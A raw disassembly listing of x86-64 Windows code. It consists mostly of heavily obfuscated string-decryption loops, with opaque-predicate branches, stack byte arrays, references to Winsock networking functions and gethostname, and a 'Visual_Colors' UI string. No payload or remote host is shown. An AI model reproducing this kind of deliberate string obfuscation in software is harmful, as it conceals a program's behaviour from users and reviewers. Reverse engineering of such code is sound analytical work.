lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008d4bf
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008d234
lea ecx, [r10 + 0xe]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x62
add rbx, r8
jmp 0x14008d4bf
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14008cfe5
movzx r11d, r10b
lea ecx, [r11 + 6]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2a
jmp 0x14008d515
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008d28c
movzx r11d, r10b
lea ecx, [r11 + 0x21]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x19
jmp 0x14008d515
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008d2ba
lea ecx, [r10 - 0x63]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4b
dec r10
inc r10
jmp 0x14008cc24
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008d2e2
lea ecx, [r10 + 0x57]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x61
jmp 0x14008d4bf
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14008d30e
movzx r11d, r10b
lea ecx, [r11 - 0x6b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x13
jmp 0x14008d478
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008d018
lea ecx, [r10 + 0x11]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x77
movzx eax, byte [rbp + r10 + 0x4c0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008cc24
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008d382
lea ecx, [r10 + 0x2c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x34
movzx eax, byte [rbp + r10 + 0x4c0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008cc24
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008d3ae
lea edx, [r10 + 0x6a]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008d57c
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008cfa1
movzx r11d, r10b
lea edx, [r11 - 0x58]
movzx eax, dl
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008d478
mov byte [rbp + r10 + 0x4c0], dil
inc r10
jmp 0x14008cc24
movzx r11d, r10b
lea edx, [r11 - 0x68]
movzx eax, dl
and al, r9b
add al, al
movzx edi, byte [rbp + r10 + 0x4c0]
sub dil, al
sub dil, 0x28
add dil, dl
add dil, r9b
add r11b, 0x37
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
add r11b, 0x7f
add r11b, dil
add r11b, r9b
mov byte [rbp + r10 + 0x4c0], r11b
add rbx, r8
jmp 0x14008d4bf
movzx r11d, r10b
lea edx, [r11 - 0x2a]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14008d478
movzx r11d, r10b
lea ecx, [r11 - 0x43]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2b
add r11b, 0x75
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x33
add r11b, r9b
movzx eax, r11b
mov byte [rbp + r10 + 0x4c0], al
inc r8
add rax, r8
sub r10, rax
jmp 0x14008d57c
lea ecx, [r10 + 0x7f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x79
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14008cc24
lea ecx, [r10 - 0x79]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x4f
inc r8
dec r10
inc r10
jmp 0x14008cc24
movzx r11d, r10b
lea ecx, [r11 + 0x49]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
inc dil
sub r11b, 7
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
add r11b, 0x31
add r11b, r9b
mov byte [rbp + r10 + 0x4c0], r11b
inc r8
dec r10
inc r10
jmp 0x14008cc24
lea ecx, [r10 + 0x51]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x37
dec r10
inc r10
jmp 0x14008cc24
lea rcx, [r10 + r15]
movzx r9d, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x43
lea edx, [r10 + 0x14]
movzx eax, dl
and al, r9b
mov ecx, 0x3a
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
mov byte [rbp + r10 + 0x4c0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x4c0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008cc24
lea rcx, [r10 + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0xb
movzx eax, byte [rbp + r10 + 0x4c0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008cc24
sub r10b, 0x65
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x3d
jmp 0x14008cc21
add r10b, 0x5d
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x75
jmp 0x14008cc11
lea rcx, [rbp + 0x1679b94]
jmp 0x14008d647
lea rcx, [rbp + 0x1547d33]
jmp 0x14008d647
lea rcx, [rbp + 0x4c0]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r12
movaps xmm3, xmm13
movaps xmm2, xmm12
lea rdx, [0x1401fcb10]
call fcn.14003f530
mov byte [rbp + 0x750], 0xf3
mov byte [rbp + 0x751], 0xe8
mov byte [rbp + 0x752], 0xef
mov byte [rbp + 0x753], 0xe7
mov byte [rbp + 0x754], 0xe1
mov byte [rbp + 0x755], 0x9d
mov byte [rbp + 0x756], 0x99
mov byte [rbp + 0x757], 0x9d
mov byte [rbp + 0x758], 0x2e
mov byte [rbp + 0x759], 0xf9
mov byte [rbp + 0x75a], 0xe4
mov byte [rbp + 0x75b], 0xdc
mov byte [rbp + 0x75c], 0xd7
mov byte [rbp + 0x75d], 0xdc
mov byte [rbp + 0x75e], 0xa2
mov byte [rbp + 0x75f], 0xdc
mov byte [rbp + 0x760], 0xa3
mov byte [rbp + 0x761], 0xa0
mov byte [rbp + 0x762], gethostname
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x763], xmm0
mov dword [rbp + 0x773], eax
mov word [rbp + 0x777], ax
mov byte [rbp + 0x779], al
movabs rsi, 0xf6cc5843ff62cd55
movabs r15, 0xbf9669dbfbb39d53
movabs r14, 0xe46508cbfe2867ff
movzx edi, byte [rsp + 0x50]
nop dword [rax]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
mov r10, r13
cmp r10, 0x2a
jae 0x14008e13d
movzx r9d, byte [rbp + r10 + 0x750]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x14008e131
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14008d793
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x53
jmp 0x14008d7c0
je 0x14008e0c0
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008e03c
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008e01a
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008dff5
cmp r8, r10
ja 0x14008e125
lea rax, [r8 + 8]
cmp rbx, rax
jae 0x14008d7f1
lea ecx, [r10 - 7]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x31
jmp 0x14008d820
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008dfaa
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008df7a
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14008df5b
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14008dc85
nop dword [rax]
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008dc62
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14008dc3e
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14008dc19
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14008dbf6
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14008dbd8
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14008dbb9
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14008db88
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14008d830
lea rbx, [r8 + 2]
lea r8, [rbx + 0xa]
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14008e108
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14008e0eb
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14008d9ac
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14008d991
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14008d976
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14008dadb
lea rbx, [r8 + 0x64]
lea r8, [rbx + 0x7a]
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14008daae
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14008da8f
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14008da70
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14008da55
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x14008da33
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x14008da10
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14008d9ef
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14008d9c7
lea rbx, [r8 + 3]
lea r8, [rbx + 0x10]
jmp 0x14008d830
lea ecx, [r10 + 0x27]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x11
jmp 0x14008d820
lea ecx, [r10 + 0x7d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6b
jmp 0x14008d7c0
lea ecx, [r10 - 0x2d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x3b
jmp 0x14008d756
lea edx, [r10 + 0x1e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x14008d743
lea ecx, [r10 + 0x74]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2c
dec r10
inc r10
jmp 0x14008d743
lea edx, [r10 - 0x36]
movzx eax, dl
and al, r9b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14008df19
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x14008df91
lea ecx, [r10 + 0x76]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3a
jmp 0x14008df91
lea edx, [r10 - 0x34]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008e055
lea edx, [r10 + 0x22]
movzx eax, dl
and al, r9b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008e07d
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x48
movzx eax, byte [rbp + r10 + 0x750]
add rax, r8
add r10, rax
inc r10
jmp 0x14008d743
lea ecx, [r10 - 0x2f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x49
lea rax, [r8 + rbx]
cmp rax, 0x28
je 0x14008df45
lea rax, [r8 + 0x400]
cmp rbx, rax
jbe 0x14008dd72
lea ecx, [r10 + 0x41]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x39
cmp rbx, 0xa
jae 0x14008def7
lea rax, [r8 + 0x80]
cmp rbx, rax
jbe 0x14008de4e
lea edx, [r10 + 0x3a]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
cmp r8, 0x7a
jb 0x14008dee7
movzx r11d, r10b
lea edx, [r11 - 0x22]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x24]
jmp 0x14008dfc8
lea edx, [r10 - 0x2a]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x750]
add rax, r8
add r10, rax
inc r10
jmp 0x14008d743
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r9b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008df91
lea ecx, [r10 + 0x2e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x42
add rbx, r8
jmp 0x14008df91
movzx r11d, r10b
lea edx, [r11 - 0x7c]
movzx eax, dl
and al, r9b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008df19
lea edx, [r10 - 0x26]
movzx eax, dl
and al, r9b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14008d743
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
inc r8
dec r10
inc r10
jmp 0x14008d743
lea edx, [r10 - 0x7a]
movzx eax, dl
and al, r9b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14008dfc8
lea rax, [r8 + 0x40]
cmp rbx, rax
jae 0x14008dcad
lea ecx, [r10 + 0x55]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x53
jmp 0x14008daf1
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008dceb
lea edx, [r10 - 0xe]
movzx eax, dl
and al, r9b
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x750]
add rax, r8
add r10, rax
inc r10
jmp 0x14008d743
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008dd17
lea edx, [r10 + 0x46]
movzx eax, dl
and al, r9b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008e055
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008dd42
lea ecx, [r10 - 0x66]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x36
add rbx, r8
jmp 0x14008df91
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008daf1
movzx r11d, r10b
lea edx, [r11 + 0x44]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008df19
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008dd9e
movzx r11d, r10b
lea ecx, [r11 - 0x15]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6d
jmp 0x14008dfc8
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008ddcd
lea ecx, [r10 + 0x3f]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x47
dec r10
inc r10
jmp 0x14008d743
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008ddf9
lea ecx, [r10 - 0x6d]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 5
add rbx, r8
jmp 0x14008df91
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008de22
lea ecx, [r10 + 0x3d]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x55
jmp 0x14008df91
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14008db25
lea edx, [r10 - 0x6f]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 9
add dil, dl
jmp 0x14008e07d
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008de89
lea ecx, [r10 - 0x1c]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x3c
movzx eax, byte [rbp + r10 + 0x750]
add rax, r8
add r10, rax
inc r10
jmp 0x14008d743
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008deb8
lea edx, [r10 - 0x74]
movzx eax, r9b
and al, dl
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
add rbx, r8
jmp 0x14008df91
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14008db59
lea ecx, [r10 - 0x20]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x20
dec r10
inc r10
jmp 0x14008d743
mov byte [rbp + r10 + 0x750], dil
inc r10
jmp 0x14008d743
movzx r11d, r10b
lea edx, [r11 - 0x78]
movzx eax, r9b
and al, dl
movzx ecx, byte [rbp + r10 + 0x750]
sub cl, al
add cl, 0x24
lea edi, [rcx + rcx]
add dil, dl
sub r11b, 0x23
movzx eax, r11b
and al, r9b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0xb
add cl, r11b
add cl, r9b
mov byte [rbp + r10 + 0x750], cl
add rbx, r8
jmp 0x14008df91
lea ecx, [r10 + 0x32]
movzx eax, r9b
and al, cl
add al, al
sub cl, al
lea edi, [rcx - 0x5e]
jmp 0x14008e055
lea edx, [r10 - 0x61]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x59
add dil, dl
jmp 0x14008e055
lea ecx, [r10 - 0xb]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x4d
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14008d743
movzx r11d, r10b
lea edx, [r11 - 0x5d]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x75
add dil, dl
add r11b, 0x33
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x65
add r11b, r9b
mov byte [rbp + r10 + 0x750], r11b
inc r8
dec r10
inc r10
jmp 0x14008d743
lea ecx, [r10 - 0x5b]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x7d
inc r8
dec r10
inc r10
jmp 0x14008d743
lea ecx, [r10 - 5]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x23
dec r10
inc r10
jmp 0x14008d743
lea rcx, [r10 + r15]
movzx r9d, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x45
lea ecx, [r10 - 0x79]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, 0x4f
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0x750], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 - 0x24]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 4
add cl, r9b
mov byte [rbp + r10 + 0x750], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x750]
add rax, r8
add r10, rax
inc r10
jmp 0x14008d743
lea rcx, [r10 + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
add dil, 7
movzx eax, byte [rbp + r10 + 0x750]
add rax, r8
add r10, rax
inc r10
jmp 0x14008d743
add r10b, 0x29
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1f
jmp 0x14008d740
add r10b, 0x7f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x79
jmp 0x14008d730
lea rcx, [rbp + 0x161fc6c]
jmp 0x14008e144
lea rcx, [rbp + 0x104c9c1]
jmp 0x14008e144
lea rcx, [rbp + 0x750]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r12
movaps xmm3, xmm13
movaps xmm2, xmm12
lea rdx, [0x1401fcb14]
call fcn.14003f530
call fcn.14000cd80
mov dword [rbp + 0x6c], 0x43bf0000
mov dword [rbp + 0x70], 0x438d0000
lea rcx, [rbp + 0x6c]
call fcn.14001a7c0
mov dword [rbp + 0x74], 0x438d0000
mov dword [rbp + 0x78], 0x432e0000
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x74]
lea rcx, str.Visual_Colors
call fcn.140009e00
mov byte [rbp + 0x160], 0xf6
mov byte [rbp + 0x161], 0xfe
mov byte [rbp + 0x162], 0xe8
mov byte [rbp + 0x163], 0xa3
mov byte [rbp + 0x164], 0xc7
mov byte [rbp + 0x165], reloc.WS2_32.dll_select
mov byte [rbp + 0x166], 0x1a
mov byte [rbp + 0x167], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x168], reloc.WS2_32.dll_select
mov byte [rbp + 0x169], 0x85
xor eax, eax
mov qword [rbp + 0x16a], rax
mov byte [rbp + 0x172], al
movabs r14, 0x6c59c27b8f2f116
movabs r15, 0x3cf27d65808a79c6
movabs r12, 0x1450d4772ad8d342
movzx edi, byte [rsp + 0x50]
nop word [rax + rax]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
mov r10, r13
cmp r10, 0x13
jae 0x14008ee4e
movzx r9d, byte [rbp + r10 + 0x160]
mov r11, r9
nop dword [rax]
cmp rbx, r10
ja 0x14008ee42
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14008e283
lea rcx, [r10 + r14]
mov rax, rcx
and rax, r9
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r9
add dil, 0x66
jmp 0x14008e2c0
je 0x14008edc8
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008ed98
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008ed50
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008ed2f
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14008ece5
nop dword [rax]
cmp r8, r10
ja 0x14008ee36
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x14008e2f8
lea edx, [r10 - 0x32]
movzx eax, dl
and al, r9b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008e340
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008ecc2
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008eca1
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14008ec82
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14008ebf5
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14008ebc8
nop dword [rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14008e8b2
nop dword [rax]
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14008e893
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14008e86f
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008e84a
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14008e838
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008e816
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14008e7fb
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14008e7dc
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14008e7bd
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008e78c
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14008e350
lea rbx, [r8 + 0x400]
lea r8, [rbx + 0x80]
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14008ee16
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14008edf9
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x14008e53f
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14008e524
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14008e505
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14008e73b
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14008e6f6
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14008e6b3
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14008e68d
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14008e350
lea rbx, [r8 + 6]
lea r8, [rbx + 3]
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14008e660
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14008e641
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x14008e61e
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14008e603
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x14008e5e5
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14008e5c6
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x14008e5a1
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14008e579
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14008e55a
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14008e350
lea rbx, [r8 + 2]
lea r8, [rbx + 0x5a]
jmp 0x14008e350
lea edx, [r10 - 0xe]
movzx eax, dl
and al, r9b
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008e340
lea ecx, [r10 - 0x3a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6a
jmp 0x14008e2c0
lea ecx, [r10 - 0x66]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x36
jmp 0x14008e246
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x10
movzx r11d, r10b
jmp 0x14008ecff
lea edx, [r10 + 0x44]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x14008e233
lea edx, [r10 + 0x18]
movzx eax, dl
and al, r9b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14008e233
lea ecx, [r10 - 0x14]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x74
movzx r11d, r10b
jmp 0x14008ed6e
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
add rbx, r8
jmp 0x14008edaf
lea ecx, [r10 - 0x6c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xc
jmp 0x14008edaf
lea edx, [r10 + 0x68]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14008ec0f
lea edx, [r10 + 0x3c]
movzx eax, dl
and al, r9b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008ec3b
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
movzx eax, byte [rbp + r10 + 0x160]
add rax, r8
add r10, rax
inc r10
jmp 0x14008e233
lea ecx, [r10 - 0x5e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6e
mov byte [rbp + r10 + 0x160], dil
inc r10
jmp 0x14008e233
lea ecx, [r10 + 0x76]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3a
cmp r8, 0x80
jb 0x14008e6a3
movzx r11d, r10b
lea ecx, [r11 - 0x3c]
movzx eax, cl
and al, r9b
